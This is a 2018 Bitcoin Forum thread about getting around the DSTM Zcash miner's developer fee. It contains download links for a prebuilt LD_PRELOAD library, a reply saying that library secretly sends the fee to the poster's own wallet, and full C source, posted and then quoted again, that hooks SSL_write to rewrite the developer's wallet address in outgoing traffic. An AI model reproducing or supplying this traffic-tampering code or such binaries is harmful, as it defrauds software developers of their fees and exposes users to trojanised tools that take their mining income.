Bitcoin Forum
May 25, 2024, 06:26:13 AM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: [1]
  Print  
Author Topic: DSTM 0.5.7 Fee REMOVE (Hashpower redirect to own wallet)  (Read 304 times)
A_k!ngNotht!ng (OP)
Newbie
*
Offline Offline

Activity: 2
Merit: 0


View Profile
January 28, 2018, 11:44:53 PM
Last edit: January 28, 2018, 11:57:50 PM by A_k!ngNotht!ng
 #1

I used this fee redirecter for some time. I can see there is different ways and solutions on the internet now. So why not just share the goodies.
Work on linux DSTM <= 0.5.7

Link 1:
https://ufile.io/zktoq

Link 2:
https://files.fm/u/vk7ydcvu

Use
Code:
LD_PRELOAD=/absolute/path/to/the/fee_hashpower_redirect.so ./zm <standard-arguments-you-typically-give-to-it>

It will tell you when it replaces the fee address with the one you start zm with and reroute hashpower to your current pool with same name as your miner you started zm with.

You should get around 2% on SSL connection and 2,5% without SSL. But actually 2/2.5% is not to notice.

Before telling me this AIN'T working. Try it. Check sol/s on your pool. DSTM is not adding the sol/s to the statistics in the miner. But noticing you when its replacing the address and redirect the hashpower to your current pool and address you started it with.

Cheers happy mining.
saiDaMinhaAba
Newbie
*
Offline Offline

Activity: 20
Merit: 0


View Profile
February 23, 2018, 11:39:28 AM
 #2

Would u mind posting the original code?
elyosh
Newbie
*
Offline Offline

Activity: 1
Merit: 0


View Profile
February 23, 2018, 12:25:19 PM
 #3

This is fake, it only replaces the dev's address (t1NEpmfunewy9z5TogCvAhCuS3J8VWXoJNv) with another one (t1bNUReySkitEDaZsbDJ7iV2ZVQc9B3qKU4).
saiDaMinhaAba
Newbie
*
Offline Offline

Activity: 20
Merit: 0


View Profile
February 23, 2018, 12:46:58 PM
 #4

This is fake, it only replaces the dev's address (t1NEpmfunewy9z5TogCvAhCuS3J8VWXoJNv) with another one (t1bNUReySkitEDaZsbDJ7iV2ZVQc9B3qKU4).

As I suspected... That is why I'm looking for the original code. Do u have it?
ap0stol
Newbie
*
Offline Offline

Activity: 39
Merit: 0


View Profile
February 23, 2018, 05:49:07 PM
 #5

This is fake, it only replaces the dev's address (t1NEpmfunewy9z5TogCvAhCuS3J8VWXoJNv) with another one (t1bNUReySkitEDaZsbDJ7iV2ZVQc9B3qKU4).

As I suspected... That is why I'm looking for the original code. Do u have it?
this one https://pastebin.com/3YKvJjrV ?

Code:
#define _GNU_SOURCE
#include <assert.h>
#include <dlfcn.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
typedef void SSL;
typedef int SSL_write_t(SSL *ssl, const void *buf, int num);
static SSL_write_t *g_ssl_write;
 
int SSL_write(SSL *ssl, const void *buf, int num) {
    // Address of the developer.
    static const char *FORBIDDEN_ADDR   = "t1NEpmfunewy9z5TogCvAhCuS3J8VWXoJNv";
 
    // Your wallet address - just change it to yours unless you want to give me the
    // 2% dev fee ;-)
    static const char *REPLACEMENT_ADDR = "t1ahG2SbR8mkrVtVUWNMBMEy9Br6Jgvhm7b";
 
    if (!g_ssl_write) {
        g_ssl_write = (SSL_write_t *) (intptr_t) dlsym(RTLD_NEXT, "SSL_write");
        assert(g_ssl_write && "Could not get SSL_write");
    }
 
    void *address = memmem(buf, num, FORBIDDEN_ADDR, strlen(FORBIDDEN_ADDR));
    if (address) {
        puts("
Successfully replaced the address!");
        void *bufcopy = malloc(num);
        assert(bufcopy && "Could not allocate memory");
        memcpy(bufcopy, buf, num);
        const size_t offset = (char *) address - (char *) buf;
        memcpy((char *) bufcopy + offset,
               REPLACEMENT_ADDR,
               strlen(REPLACEMENT_ADDR));
        int retval = g_ssl_write(ssl, bufcopy, num);
        free(bufcopy);
        return retval;
    }
    return g_ssl_write(ssl, buf, num);
}
saiDaMinhaAba
Newbie
*
Offline Offline

Activity: 20
Merit: 0


View Profile
February 23, 2018, 05:58:44 PM
 #6

This is fake, it only replaces the dev's address (t1NEpmfunewy9z5TogCvAhCuS3J8VWXoJNv) with another one (t1bNUReySkitEDaZsbDJ7iV2ZVQc9B3qKU4).

As I suspected... That is why I'm looking for the original code. Do u have it?
this one https://pastebin.com/3YKvJjrV ?

Code:
#define _GNU_SOURCE
#include <assert.h>
#include <dlfcn.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
typedef void SSL;
typedef int SSL_write_t(SSL *ssl, const void *buf, int num);
static SSL_write_t *g_ssl_write;
 
int SSL_write(SSL *ssl, const void *buf, int num) {
    // Address of the developer.
    static const char *FORBIDDEN_ADDR   = "t1NEpmfunewy9z5TogCvAhCuS3J8VWXoJNv";
 
    // Your wallet address - just change it to yours unless you want to give me the
    // 2% dev fee ;-)
    static const char *REPLACEMENT_ADDR = "t1ahG2SbR8mkrVtVUWNMBMEy9Br6Jgvhm7b";
 
    if (!g_ssl_write) {
        g_ssl_write = (SSL_write_t *) (intptr_t) dlsym(RTLD_NEXT, "SSL_write");
        assert(g_ssl_write && "Could not get SSL_write");
    }
 
    void *address = memmem(buf, num, FORBIDDEN_ADDR, strlen(FORBIDDEN_ADDR));
    if (address) {
        puts("
Successfully replaced the address!");
        void *bufcopy = malloc(num);
        assert(bufcopy && "Could not allocate memory");
        memcpy(bufcopy, buf, num);
        const size_t offset = (char *) address - (char *) buf;
        memcpy((char *) bufcopy + offset,
               REPLACEMENT_ADDR,
               strlen(REPLACEMENT_ADDR));
        int retval = g_ssl_write(ssl, bufcopy, num);
        free(bufcopy);
        return retval;
    }
    return g_ssl_write(ssl, buf, num);
}


Thank u very much sir. U r a life saver!!!
Pages: [1]
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!